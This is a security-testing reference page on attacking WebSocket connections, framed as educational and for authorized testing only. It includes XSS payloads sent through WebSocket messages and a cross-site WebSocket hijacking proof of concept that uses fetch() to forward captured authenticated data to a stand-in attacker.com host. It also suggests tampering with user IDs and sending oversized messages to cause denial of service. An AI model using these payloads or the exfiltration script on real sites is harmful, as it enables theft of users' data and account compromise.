WebSockets

Exploit WebSocket connections for XSS and CSRF-like attacks.

Reference4 steps3 tools

Methodology

  1. 1Identify WebSocket connections in the application
  2. 2Analyze messages sent/received
  3. 3Test for XSS via WebSocket messages
  4. 4Test for cross-site WebSocket hijacking

Detailed Steps

In Browser DevTools:

  • Network tab → Filter by WS
  • Look for ws:// or wss:// connections

In Burp Suite:

  • Proxy → WebSocket history tab
  • Shows all WebSocket messages

Common WebSocket URLs:

shell
ws://target.com/ws
ws://target.com/socket
ws://target.com/chat
wss://target.com/api/realtime

If WebSocket messages are rendered in the DOM unsafely:

json
{"message": "<img src=x onerror=alert(1)>"}

Test payloads in WebSocket messages:

shell
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>

Using browser console:

javascript
// Connect to WebSocket
var ws = new WebSocket('wss://target.com/chat');
ws.onopen = function() {
  ws.send(JSON.stringify({message: "<img src=x onerror=alert(1)>"}));
};

If WebSocket handshake relies only on cookies (no CSRF token):

html
<script>
var ws = new WebSocket('wss://target.com/chat');
ws.onopen = function() {
  ws.send('READY');
};
ws.onmessage = function(event) {
  // Exfiltrate received data
  fetch('http://attacker.com/log?data=' + 
    encodeURIComponent(event.data));
};
</script>

This works because:

  1. Browser sends target's cookies with WebSocket handshake
  2. Server authenticates based on cookies
  3. Attacker's page receives authenticated data

In Burp Suite:

  1. Intercept WebSocket messages
  2. Modify message content before forwarding
  3. Replay messages with different values

Common tests:

  • Change message content (XSS payloads)
  • Change user identifiers to access other users' data
  • Send messages out of expected sequence
  • Send extremely large messages (DoS)
  • Manipulate JSON structure

Tools

Burp SuiteBrowser DevToolswscat

References

© 2026. For authorized testing and education only.

Use only against systems you own or have permission to test.